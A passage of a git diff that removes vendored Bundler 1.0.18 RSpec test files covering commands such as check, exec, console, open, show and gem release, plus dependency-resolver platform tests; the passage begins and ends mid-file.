-      source "file://#{gem_repo1}"
-      gem 'rails_fail'
-    G
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-      gem "rails_fail"
-    G
-
-    bundle :check
-    out.should include("Your Gemfile's dependencies could not be satisfied")
-  end
-
-  it "remembers --without option from install" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      group :foo do
-        gem "rack"
-      end
-    G
-
-    bundle "install --without foo"
-    bundle "check", :exitstatus => true
-    @exitstatus.should eq(0)
-    out.should include("The Gemfile's dependencies are satisfied")
-  end
-
-  it "ensures that gems are actually installed and not just cached" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", :group => :foo
-    G
-
-    bundle "install --without foo"
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    bundle "check", :exitstatus => true
-    out.should include("* rack (1.0.0)")
-    @exitstatus.should == 1
-  end
-
-  it "ignores missing gems restricted to other platforms" do
-    system_gems "rack-1.0.0"
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      platforms :#{not_local_tag} do
-        gem "activesupport"
-      end
-    G
-
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          activesupport (2.3.5)
-          rack (1.0.0)
-
-      PLATFORMS
-        #{local}
-        #{not_local}
-
-      DEPENDENCIES
-        rack
-        activesupport
-    G
-
-    bundle :check
-    out.should == "The Gemfile's dependencies are satisfied"
-  end
-
-  it "works with env conditionals" do
-    system_gems "rack-1.0.0"
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      env :NOT_GOING_TO_BE_SET do
-        gem "activesupport"
-      end
-    G
-
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          activesupport (2.3.5)
-          rack (1.0.0)
-
-      PLATFORMS
-        #{local}
-        #{not_local}
-
-      DEPENDENCIES
-        rack
-        activesupport
-    G
-
-    bundle :check
-    out.should == "The Gemfile's dependencies are satisfied"
-  end
-
-  it "outputs an error when the default Gemfile is not found" do
-    bundle :check, :exitstatus => true
-    @exitstatus.should eq(10)
-    out.should include("Could not locate Gemfile")
-  end
-
-  it "should not crash when called multiple times on a new machine" do
-    gemfile <<-G
-      gem 'rails', '3.0.0.beta3'
-      gem 'paperclip', :git => 'git://github.com/thoughtbot/paperclip.git'
-    G
-
-    simulate_new_machine
-    bundle "check"
-    last_out = out
-    3.times do |i|
-      bundle :check
-      out.should eq(last_out)
-      err.should be_empty
-    end
-  end
-
-  describe "when locked" do
-    before :each do
-      system_gems "rack-1.0.0"
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "1.0"
-      G
-    end
-
-    it "returns success when the Gemfile is satisfied" do
-      bundle :install
-      bundle :check, :exitstatus => true
-      @exitstatus.should eq(0)
-      out.should == "The Gemfile's dependencies are satisfied"
-    end
-
-    it "shows what is missing with the current Gemfile if it is not satisfied" do
-      simulate_new_machine
-      bundle :check
-      out.should match(/The following gems are missing/)
-      out.should include("* rack (1.0")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/config_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/config_spec.rb
deleted file mode 100644
index 9d65288f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/config_spec.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require "spec_helper"
-
-describe ".bundle/config" do
-  before :each do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "1.0.0"
-    G
-  end
-
-  it "can be moved with an environment variable" do
-    ENV['BUNDLE_APP_CONFIG'] = tmp('foo/bar').to_s
-    bundle "install --path vendor/bundle"
-
-    bundled_app('.bundle').should_not exist
-    tmp('foo/bar/config').should exist
-    should_be_installed "rack 1.0.0"
-  end
-
-  it "can provide a relative path with the environment variable" do
-    FileUtils.mkdir_p bundled_app('omg')
-    Dir.chdir bundled_app('omg')
-
-    ENV['BUNDLE_APP_CONFIG'] = "../foo"
-    bundle "install --path vendor/bundle"
-
-    bundled_app(".bundle").should_not exist
-    bundled_app("../foo/config").should exist
-    should_be_installed "rack 1.0.0"
-  end
-
-  it "removes environment.rb from BUNDLE_APP_CONFIG's path" do
-    FileUtils.mkdir_p(tmp('foo/bar'))
-    ENV['BUNDLE_APP_CONFIG'] = tmp('foo/bar').to_s
-    bundle "install"
-    FileUtils.touch tmp('foo/bar/environment.rb')
-    should_be_installed "rack 1.0.0"
-    tmp('foo/bar/environment.rb').should_not exist
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/console_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/console_spec.rb
deleted file mode 100644
index 254c059b..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/console_spec.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require "spec_helper"
-
-describe "bundle console" do
-  before :each do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "activesupport", :group => :test
-      gem "rack_middleware", :group => :development
-    G
-  end
-
-  it "starts IRB with the default group loaded" do
-    bundle "console" do |input|
-      input.puts("puts RACK")
-      input.puts("exit")
-    end
-    out.should include("0.9.1")
-  end
-
-  it "doesn't load any other groups" do
-    bundle "console" do |input|
-      input.puts("puts ACTIVESUPPORT")
-      input.puts("exit")
-    end
-    out.should include("NameError")
-  end
-
-  describe "when given a group" do
-    it "loads the given group" do
-      bundle "console test" do |input|
-        input.puts("puts ACTIVESUPPORT")
-        input.puts("exit")
-      end
-      out.should include("2.3.5")
-    end
-
-    it "loads the default group" do
-      bundle "console test" do |input|
-        input.puts("puts RACK")
-        input.puts("exit")
-      end
-      out.should include("0.9.1")
-    end
-
-    it "doesn't load other groups" do
-      bundle "console test" do |input|
-        input.puts("puts RACK_MIDDLEWARE")
-        input.puts("exit")
-      end
-      out.should include("NameError")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/exec_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/exec_spec.rb
deleted file mode 100644
index 94e6408f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/exec_spec.rb
+++ /dev/null
@@ -1,242 +0,0 @@
-require "spec_helper"
-
-describe "bundle exec" do
-  before :each do
-    system_gems "rack-1.0.0", "rack-0.9.1"
-  end
-
-  it "activates the correct gem" do
-    gemfile <<-G
-      gem "rack", "0.9.1"
-    G
-
-    bundle "exec rackup"
-    out.should == "0.9.1"
-  end
-
-  it "works when the bins are in ~/.bundle" do
-    install_gemfile <<-G
-      gem "rack"
-    G
-
-    bundle "exec rackup"
-    out.should == "1.0.0"
-  end
-
-  it "works when running from a random directory" do
-    install_gemfile <<-G
-      gem "rack"
-    G
-
-    bundle "exec 'cd #{tmp('gems')} && rackup'"
-
-    out.should == "1.0.0"
-  end
-
-  it "handles different versions in different bundles" do
-    build_repo2 do
-      build_gem "rack_two", "1.0.0" do |s|
-        s.executables = "rackup"
-      end
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "0.9.1"
-    G
-
-    Dir.chdir bundled_app2 do
-      install_gemfile bundled_app2('Gemfile'), <<-G
-        source "file://#{gem_repo2}"
-        gem "rack_two", "1.0.0"
-      G
-    end
-
-    bundle "exec rackup"
-
-    out.should eq("0.9.1")
-
-    Dir.chdir bundled_app2 do
-      bundle "exec rackup"
-      out.should == "1.0.0"
-    end
-  end
-
-  it "handles gems installed with --without" do
-    install_gemfile <<-G, :without => :middleware
-      source "file://#{gem_repo1}"
-      gem "rack" # rack 0.9.1 and 1.0 exist
-
-      group :middleware do
-        gem "rack_middleware" # rack_middleware depends on rack 0.9.1
-      end
-    G
-
-    bundle "exec rackup"
-
-    out.should eq("0.9.1")
-    should_not_be_installed "rack_middleware 1.0"
-  end
-
-  it "should not duplicate already exec'ed RUBYOPT or PATH" do
-    install_gemfile <<-G
-      gem "rack"
-    G
-
-    rubyopt = ENV['RUBYOPT']
-    rubyopt = "-I#{bundler_path} -rbundler/setup #{rubyopt}"
-
-    bundle "exec 'echo $RUBYOPT'"
-    out.should have_rubyopts(rubyopt)
-
-    bundle "exec 'echo $RUBYOPT'", :env => {"RUBYOPT" => rubyopt}
-    out.should have_rubyopts(rubyopt)
-  end
-
-  it "errors nicely when the argument doesn't exist" do
-    install_gemfile <<-G
-      gem "rack"
-    G
-
-    bundle "exec foobarbaz", :exitstatus => true
-    exitstatus.should eq(127)
-    out.should include("bundler: command not found: foobarbaz")
-    out.should include("Install missing gem executables with `bundle install`")
-  end
-
-  it "errors nicely when the argument is not executable" do
-    install_gemfile <<-G
-      gem "rack"
-    G
-
-    bundle "exec touch foo"
-    bundle "exec ./foo", :exitstatus => true
-    exitstatus.should eq(126)
-    out.should include("bundler: not executable: ./foo")
-  end
-
-  describe "with gem executables" do
-    describe "run from a random directory" do
-      before(:each) do
-        install_gemfile <<-G
-          gem "rack"
-        G
-      end
-
-      it "works when unlocked" do
-        bundle "exec 'cd #{tmp('gems')} && rackup'"
-        out.should == "1.0.0"
-      end
-
-      it "works when locked" do
-        bundle "lock"
-        should_be_locked
-        bundle "exec 'cd #{tmp('gems')} && rackup'"
-        out.should == "1.0.0"
-      end
-    end
-
-    describe "from gems bundled via :path" do
-      before(:each) do
-        build_lib "fizz", :path => home("fizz") do |s|
-          s.executables = "fizz"
-        end
-
-        install_gemfile <<-G
-          gem "fizz", :path => "#{File.expand_path(home("fizz"))}"
-        G
-      end
-
-      it "works when unlocked" do
-        bundle "exec fizz"
-        out.should == "1.0"
-      end
-
-      it "works when locked" do
-        bundle "lock"
-        should_be_locked
-
-        bundle "exec fizz"
-        out.should == "1.0"
-      end
-    end
-
-    describe "from gems bundled via :git" do
-      before(:each) do
-        build_git "fizz_git" do |s|
-          s.executables = "fizz_git"
-        end
-
-        install_gemfile <<-G
-          gem "fizz_git", :git => "#{lib_path('fizz_git-1.0')}"
-        G
-      end
-
-      it "works when unlocked" do
-        bundle "exec fizz_git"
-        out.should == "1.0"
-      end
-
-      it "works when locked" do
-        bundle "lock"
-        should_be_locked
-        bundle "exec fizz_git"
-        out.should == "1.0"
-      end
-    end
-
-    describe "from gems bundled via :git with no gemspec" do
-      before(:each) do
-        build_git "fizz_no_gemspec", :gemspec => false do |s|
-          s.executables = "fizz_no_gemspec"
-        end
-
-        install_gemfile <<-G
-          gem "fizz_no_gemspec", "1.0", :git => "#{lib_path('fizz_no_gemspec-1.0')}"
-        G
-      end
-
-      it "works when unlocked" do
-        bundle "exec fizz_no_gemspec"
-        out.should == "1.0"
-      end
-
-      it "works when locked" do
-        bundle "lock"
-        should_be_locked
-        bundle "exec fizz_no_gemspec"
-        out.should == "1.0"
-      end
-    end
-
-  end
-
-  describe "bundling bundler" do
-    before(:each) do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      bundle "install --path vendor/bundle --disable-shared-gems"
-    end
-
-    it "does not explode with --disable-shared-gems" do
-      bundle "exec bundle check", :exitstatus => true
-      exitstatus.should == 0
-    end
-
-    it "does not explode when starting with Bundler.setup" do
-      ruby <<-R
-        require "rubygems"
-        require "bundler"
-        Bundler.setup
-        puts `bundle check`
-        puts $?.exitstatus
-      R
-
-      out.should include("satisfied")
-      out.should include("\n0")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/ext_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/ext_spec.rb
deleted file mode 100644
index ff6864ef..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/ext_spec.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'spec_helper'
-
-describe "Gem::Specification#match_platform" do
-  it "does not match platforms other than the gem platform" do
-    darwin = gem "lol", "1.0", "platform_specific-1.0-x86-darwin-10"
-    darwin.match_platform(pl('java')).should be_false
-  end
-end
-
-describe "Bundler::GemHelpers#generic" do
-  include Bundler::GemHelpers
-
-  it "converts non-windows platforms into ruby" do
-    generic(pl('x86-darwin-10')).should == pl('ruby')
-  end
-end
-
-describe "Gem::SourceIndex#refresh!" do
-  rubygems_1_7 = Gem::Version.new(Gem::VERSION) >= Gem::Version.new("1.7.0")
-
-  before do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-  end
-
-  it "does not explode when called", :if => rubygems_1_7 do
-    run "Gem.source_index.refresh!"
-    run "Gem::SourceIndex.new([]).refresh!"
-  end
-
-  it "does not explode when called", :unless => rubygems_1_7 do
-    run "Gem.source_index.refresh!"
-    run "Gem::SourceIndex.from_gems_in([]).refresh!"
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/gem_helper_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/gem_helper_spec.rb
deleted file mode 100644
index bb21b60c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/gem_helper_spec.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-require "spec_helper"
-require 'bundler/gem_helper'
-
-describe "Bundler::GemHelper tasks" do
-  context "determining gemspec" do
-    it "interpolates the name when there is only one gemspec" do
-      bundle 'gem test'
-      app = bundled_app("test")
-      helper = Bundler::GemHelper.new(app.to_s)
-      helper.gemspec.name.should == 'test'
-    end
-
-    it "interpolates the name for a hidden gemspec" do
-      bundle 'gem test'
-      app = bundled_app("test")
-      FileUtils.mv app.join('test.gemspec'), app.join('.gemspec')
-      helper = Bundler::GemHelper.new(app.to_s)
-      helper.gemspec.name.should == 'test'
-    end
-
-    it "should fail when there is no gemspec" do
-      bundle 'gem test'
-      app = bundled_app("test")
-      FileUtils.rm(File.join(app.to_s, 'test.gemspec'))
-      proc { Bundler::GemHelper.new(app.to_s) }.should raise_error(/Unable to determine name/)
-    end
-
-    it "should fail when there are two gemspecs and the name isn't specified" do
-      bundle 'gem test'
-      app = bundled_app("test")
-      File.open(File.join(app.to_s, 'test2.gemspec'), 'w') {|f| f << ''}
-      proc { Bundler::GemHelper.new(app.to_s) }.should raise_error(/Unable to determine name/)
-    end
-  end
-
-  context "gem management" do
-    def mock_confirm_message(message)
-      Bundler.ui.should_receive(:confirm).with(message)
-    end
-
-    def mock_build_message
-      mock_confirm_message "test 0.0.1 built to pkg/test-0.0.1.gem"
-    end
-
-    before(:each) do
-      bundle 'gem test'
-      @app = bundled_app("test")
-      @gemspec = File.read("#{@app.to_s}/test.gemspec")
-      File.open("#{@app.to_s}/test.gemspec", 'w'){|f| f << @gemspec.gsub('TODO: ', '') }
-      @helper = Bundler::GemHelper.new(@app.to_s)
-    end
-
-    it "uses a shell UI for output" do
-      Bundler.ui.should be_a(Bundler::UI::Shell)
-    end
-
-    describe 'build' do
-      it "builds" do
-        mock_build_message
-        @helper.build_gem
-        bundled_app('test/pkg/test-0.0.1.gem').should exist
-      end
-
-      it "raises an appropriate error when the build fails" do
-        # break the gemspec by adding back the TODOs...
-        File.open("#{@app.to_s}/test.gemspec", 'w'){|f| f << @gemspec }
-        proc { @helper.build_gem }.should raise_error(/TODO/)
-      end
-    end
-
-    describe 'install' do
-      it "installs" do
-        mock_build_message
-        mock_confirm_message "test (0.0.1) installed"
-        @helper.install_gem
-        bundled_app('test/pkg/test-0.0.1.gem').should exist
-        %x{gem list}.should include("test (0.0.1)")
-      end
-
-      it "raises an appropriate error when the install fails" do
-        @helper.should_receive(:build_gem) do
-          # write an invalid gem file, so we can simulate install failure...
-          FileUtils.mkdir_p(File.join(@app.to_s, 'pkg'))
-          path = "#{@app.to_s}/pkg/test-0.0.1.gem"
-          File.open(path, 'w'){|f| f << "not actually a gem"}
-          path
-        end
-        proc { @helper.install_gem }.should raise_error
-      end
-    end
-
-    describe 'release' do
-      it "shouldn't push if there are uncommitted files" do
-        proc { @helper.release_gem }.should raise_error(/files that need to be committed/)
-      end
-
-      it 'raises an appropriate error if there is no git remote' do
-        Bundler.ui.stub(:confirm => nil, :error => nil) # silence messages
-
-        Dir.chdir(gem_repo1) {
-          `git init --bare`
-        }
-        Dir.chdir(@app) {
-          `git init`
-          `git config user.email "you@example.com"`
-          `git config user.name "name"`
-          `git commit -a -m "initial commit"`
-        }
-
-        proc { @helper.release_gem }.should raise_error
-      end
-
-      it "releases" do
-        mock_build_message
-        mock_confirm_message(/Tagged v0.0.1/)
-        mock_confirm_message("Pushed git commits and tags")
-
-        @helper.should_receive(:rubygem_push).with(bundled_app('test/pkg/test-0.0.1.gem').to_s)
-
-        Dir.chdir(gem_repo1) {
-          `git init --bare`
-        }
-        Dir.chdir(@app) {
-          `git init`
-          `git config user.email "you@example.com"`
-          `git config user.name "name"`
-          `git remote add origin file://#{gem_repo1}`
-          `git commit -a -m "initial commit"`
-          sys_exec("git push origin master", true)
-          `git commit -a -m "another commit"`
-        }
-        @helper.release_gem
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/help_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/help_spec.rb
deleted file mode 100644
index c443fa5c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/help_spec.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require "spec_helper"
-
-describe "bundle help" do
-  # Rubygems 1.4+ no longer load gem plugins so this test is no longer needed
-  rubygems_under_14 = Gem::Requirement.new("< 1.4").satisfied_by?(Gem::Version.new(Gem::VERSION))
-  it "complains if older versions of bundler are installed", :if => rubygems_under_14 do
-    system_gems "bundler-0.8.1"
-
-    bundle "help", :expect_err => true
-    err.should == "Please remove older versions of bundler. This can be done by running `gem cleanup bundler`."
-  end
-
-  it "uses groff when available" do
-    fake_groff!
-
-    bundle "help gemfile"
-    out.should == %|["-Wall", "-mtty-char", "-mandoc", "-Tascii", "#{root}/lib/bundler/man/gemfile.5"]|
-  end
-
-  it "prefixes bundle commands with bundle- when finding the groff files" do
-    fake_groff!
-
-    bundle "help install"
-    out.should == %|["-Wall", "-mtty-char", "-mandoc", "-Tascii", "#{root}/lib/bundler/man/bundle-install"]|
-  end
-
-  it "simply outputs the txt file when there is no groff on the path" do
-    kill_path!
-
-    bundle "help install", :expect_err => true
-    out.should =~ /BUNDLE-INSTALL/
-  end
-
-  it "still outputs the old help for commands that do not have man pages yet" do
-    bundle "help check"
-    out.should include("Check searches the local machine")
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/init_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/init_spec.rb
deleted file mode 100644
index 0b9f4470..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/init_spec.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require "spec_helper"
-
-describe "bundle init" do
-  it "generates a Gemfile" do
-    bundle :init
-    bundled_app("Gemfile").should exist
-  end
-
-  it "does not change existing Gemfiles" do
-    gemfile <<-G
-      gem "rails"
-    G
-
-    lambda {
-      bundle :init
-    }.should_not change { File.read(bundled_app("Gemfile")) }
-  end
-
-  it "should generate from an existing gemspec" do
-    spec_file = tmp.join('test.gemspec')
-    File.open(spec_file, 'w') do |file|
-      file << <<-S
-        Gem::Specification.new do |s|
-        s.name = 'test'
-        s.add_dependency 'rack', '= 1.0.1'
-        s.add_development_dependency 'rspec', '1.2'
-        end
-      S
-    end
-
-    bundle :init, :gemspec => spec_file
-
-    gemfile = bundled_app("Gemfile").read
-    gemfile.should =~ /source :gemcutter/
-    gemfile.scan(/gem "rack", "= 1.0.1"/).size.should eq(1)
-    gemfile.scan(/gem "rspec", "= 1.2"/).size.should eq(1)
-    gemfile.scan(/group :development/).size.should eq(1)
-  end
-
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/newgem_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/newgem_spec.rb
deleted file mode 100644
index 039b245f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/newgem_spec.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require "spec_helper"
-
-describe "bundle gem" do
-  before :each do
-    bundle 'gem test-gem'
-  end
-
-  it "generates a gem skeleton" do
-    bundled_app("test-gem/test-gem.gemspec").should exist
-    bundled_app("test-gem/Gemfile").should exist
-    bundled_app("test-gem/Rakefile").should exist
-    bundled_app("test-gem/lib/test-gem.rb").should exist
-    bundled_app("test-gem/lib/test-gem/version.rb").should exist
-  end
-
-  it "starts with version 0.0.1" do
-    bundled_app("test-gem/lib/test-gem/version.rb").read.should =~ /VERSION = "0.0.1"/
-  end
-
-  it "nests constants so they work" do
-    bundled_app("test-gem/lib/test-gem/version.rb").read.should =~ /module Test\n  module Gem/
-    bundled_app("test-gem/lib/test-gem.rb").read.should =~ /module Test\n  module Gem/
-  end
-
-  it "requires the version file" do
-    bundled_app("test-gem/lib/test-gem.rb").read.should =~ /require "test-gem\/version"/
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/open_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/open_spec.rb
deleted file mode 100644
index 541d87ea..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/open_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require "spec_helper"
-
-describe "bundle open" do
-  before :each do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-  end
-
-  it "opens the gem with BUNDLER_EDITOR as highest priority" do
-    bundle "open rails", :env => {"EDITOR" => "echo editor", "VISUAL" => "echo visual", "BUNDLER_EDITOR" => "echo bundler_editor"}
-    out.should == "bundler_editor #{default_bundle_path('gems', 'rails-2.3.2')}"
-  end
-
-  it "opens the gem with VISUAL as 2nd highest priority" do
-    bundle "open rails", :env => {"EDITOR" => "echo editor", "VISUAL" => "echo visual", "BUNDLER_EDITOR" => ""}
-    out.should == "visual #{default_bundle_path('gems', 'rails-2.3.2')}"
-  end
-
-  it "opens the gem with EDITOR as 3rd highest priority" do
-    bundle "open rails", :env => {"EDITOR" => "echo editor", "VISUAL" => "", "BUNDLER_EDITOR" => ""}
-    out.should == "editor #{default_bundle_path('gems', 'rails-2.3.2')}"
-  end
-
-  it "complains if no EDITOR is set" do
-    bundle "open rails", :env => {"EDITOR" => "", "VISUAL" => "", "BUNDLER_EDITOR" => ""}
-    out.should == "To open a bundled gem, set $EDITOR or $BUNDLER_EDITOR"
-  end
-
-  it "complains if gem not in bundle" do
-    bundle "open missing", :env => {"EDITOR" => "echo editor", "VISUAL" => "", "BUNDLER_EDITOR" => ""}
-    out.should match(/could not find gem 'missing'/i)
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/show_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/show_spec.rb
deleted file mode 100644
index c8f2b518..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/show_spec.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-require "spec_helper"
-
-describe "bundle show" do
-  before :each do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-  end
-
-  it "creates a Gemfile.lock if one did not exist" do
-    FileUtils.rm("Gemfile.lock")
-
-    bundle "show"
-
-    bundled_app("Gemfile.lock").should exist
-  end
-
-  it "creates a Gemfile.lock if one did not exist and we're doing bundle show rails" do
-    FileUtils.rm("Gemfile.lock")
-
-    bundle "show rails"
-
-    bundled_app("Gemfile.lock").should exist
-  end
-
-  it "prints path if gem exists in bundle" do
-    bundle "show rails"
-    out.should == default_bundle_path('gems', 'rails-2.3.2').to_s
-  end
-
-  it "prints the path to the running bundler" do
-    bundle "show bundler"
-    out.should == File.expand_path('../../../', __FILE__)
-  end
-
-  it "complains if gem not in bundle" do
-    bundle "show missing"
-    out.should =~ /could not find gem 'missing'/i
-  end
-end
-
-describe "bundle show with a git repo" do
-  before :each do
-    @git = build_git "foo", "1.0"
-  end
-
-  it "prints out git info" do
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}"
-    G
-    should_be_installed "foo 1.0"
-
-    bundle :show
-    out.should include("foo (1.0 #{@git.ref_for('master', 6)}")
-  end
-
-  it "prints out branch names other than master" do
-    update_git "foo", :branch => "omg" do |s|
-      s.write "lib/foo.rb", "FOO = '1.0.omg'"
-    end
-    @revision = revision_for(lib_path("foo-1.0"))[0...6]
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}", :branch => "omg"
-    G
-    should_be_installed "foo 1.0.omg"
-
-    bundle :show
-    out.should include("foo (1.0 #{@git.ref_for('omg', 6)}")
-  end
-
-  it "doesn't print the branch when tied to a ref" do
-    sha = revision_for(lib_path("foo-1.0"))
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}", :ref => "#{sha}"
-    G
-
-    bundle :show
-    out.should include("foo (1.0 #{sha[0..6]})")
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/quality_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/quality_spec.rb
deleted file mode 100644
index ee097ea0..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/quality_spec.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require "spec_helper"
-
-if defined?(Encoding)
-  Encoding.default_external = "UTF-8"
-end
-
-describe "The library itself" do
-  def check_for_tab_characters(filename)
-    failing_lines = []
-    File.readlines(filename).each_with_index do |line,number|
-      failing_lines << number + 1 if line =~ /\t/
-    end
-
-    unless failing_lines.empty?
-      "#{filename} has tab characters on lines #{failing_lines.join(', ')}"
-    end
-  end
-
-  def check_for_extra_spaces(filename)
-    failing_lines = []
-    File.readlines(filename).each_with_index do |line,number|
-      next if line =~ /^\s+#.*\s+\n$/
-      failing_lines << number + 1 if line =~ /\s+\n$/
-    end
-
-    unless failing_lines.empty?
-      "#{filename} has spaces on the EOL on lines #{failing_lines.join(', ')}"
-    end
-  end
-
-  RSpec::Matchers.define :be_well_formed do
-    failure_message_for_should do |actual|
-      actual.join("\n")
-    end
-
-    match do |actual|
-      actual.empty?
-    end
-  end
-
-  it "has no malformed whitespace" do
-    error_messages = []
-    Dir.chdir(File.expand_path("../..", __FILE__)) do
-      `git ls-files`.split("\n").each do |filename|
-        next if filename =~ /\.gitmodules|fixtures/
-        error_messages << check_for_tab_characters(filename)
-        error_messages << check_for_extra_spaces(filename)
-      end
-    end
-    error_messages.compact.should be_well_formed
-  end
-
-  it "can still be built" do
-    Dir.chdir(root) do
-      `gem build bundler.gemspec`
-      $?.should eq(0)
-
-      # clean up the .gem generated
-      system("rm bundler-#{Bundler::VERSION}.gem")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/basic_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/basic_spec.rb
deleted file mode 100644
index 177a7b0c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/basic_spec.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require "spec_helper"
-
-describe "Resolving" do
-
-  before :each do
-    @index = an_awesome_index
-  end
-
-  it "resolves a single gem" do
-    dep "rack"
-
-    should_resolve_as %w(rack-1.1)
-  end
-
-  it "resolves a gem with dependencies" do
-    dep "actionpack"
-
-    should_resolve_as %w(actionpack-2.3.5 activesupport-2.3.5 rack-1.0)
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/platform_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/platform_spec.rb
deleted file mode 100644
index 9357f87e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/resolver/platform_spec.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-require "spec_helper"
-
-describe "Resolving platform craziness" do
-  describe "with cross-platform gems" do
-    before :each do
-      @index = an_awesome_index
-    end
-
-    it "resolves a simple multi platform gem" do
-      dep "nokogiri"
-      platforms "ruby", "java"
-
-      should_resolve_as %w(nokogiri-1.4.2 nokogiri-1.4.2-java weakling-0.0.3)
-    end
-
-    it "doesn't pull gems that don't exist for the current platform" do
-      dep "nokogiri"
-      platforms "ruby"
-
-      should_resolve_as %w(nokogiri-1.4.2)
-    end
-
-    it "doesn't pull gems when the version is available for all requested platforms" do
-      dep "nokogiri"
-      platforms "mswin32"
-
-      should_resolve_as %w(nokogiri-1.4.2.1-x86-mswin32)
-    end
-  end
-
-  describe "with mingw32" do
-
-    before :each do
-      @index = build_index do
-        platforms "mingw32 mswin32" do |platform|
-          gem "thin", "1.2.7", platform
-        end
-      end
-    end
-
-    it "finds mswin gems" do
-      # win32 is hardcoded to get CPU x86 in rubygems
-      platforms "mswin32"
-      dep "thin"
-      should_resolve_as %w(thin-1.2.7-x86-mswin32)
-    end
-
-    it "finds mingw gems" do
-      # mingw is _not_ hardcoded to add CPU x86 in rubygems
-      platforms "x86-mingw32"
-      dep "thin"
-      should_resolve_as %w(thin-1.2.7-x86-mingw32)
-    end
-  end
-
-  describe "with conflicting cases" do
-    before :each do
-      @index = build_index do
-        gem "foo", "1.0.0" do
-          dep "bar", ">= 0"
-        end
-
-        gem 'bar', "1.0.0" do
-          dep "baz", "~> 1.0.0"
-        end
-
-        gem "bar", "1.0.0", "java" do
-          dep "baz", " ~> 1.1.0"
-        end
-
-        gem "baz", %w(1.0.0 1.1.0 1.2.0)
-      end
-    end
-
-    it "reports on the conflict" do
-      platforms "ruby", "java"
-      dep "foo"
-
